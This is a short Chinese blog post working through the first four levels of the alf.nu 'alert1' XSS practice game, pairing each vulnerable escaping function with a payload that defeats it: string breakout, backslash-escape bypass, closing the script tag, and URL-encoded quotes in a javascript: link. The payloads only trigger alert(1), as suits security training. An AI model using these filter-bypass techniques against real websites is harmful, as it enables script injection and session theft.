xss闯关小游戏

0x00#

今天玩了一个XSS的练习闯关游戏,把自己的思路分享在这里。
平台链接:https://alf.nu/alert1

0x01#

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

这里没什么好说的,直接加双引号和括号绕过即可:

");alert(1);//

注意利用注释,防止JavaScript出现错误。

0x02#

function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

此处代码利用正则,将双引号加上反斜杠进行转义,也不难突破,只需多加一个反斜杠,让转义的反斜杠失去作用即可:

\");alert(1);//

0x03#

function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

JSON.stringify()会将对象或数组转换为一个JSON字符串,这就意味着上一次运用的反斜杠转义彻底失效了。但是我们可以直接闭合前一个script标签,然后重新构造script标签:

</script><script>alert(1)//

0x04#

function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);

var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}

使用双引号试图逃逸,但会被转义,但因为将url赋值给了a.href,所以便可以利用URL编码进行绕过:

%22);alert(1);//

这里的突破口主要在这里:
var a = document.createElement('a');


此方法会按指定名称创建一个元素,再加上后面的属性操作,它便会对此处进行URL编解码处理,即可被我们利用。

Over#

暂时写到这里,感兴趣的可以自行试试剩下的关卡。


***************** 敬属江上雨,寒舟里,我独饮。
posted @ 2018-04-18 22:01  Adan0s  阅读(407)  评论(0)    收藏  举报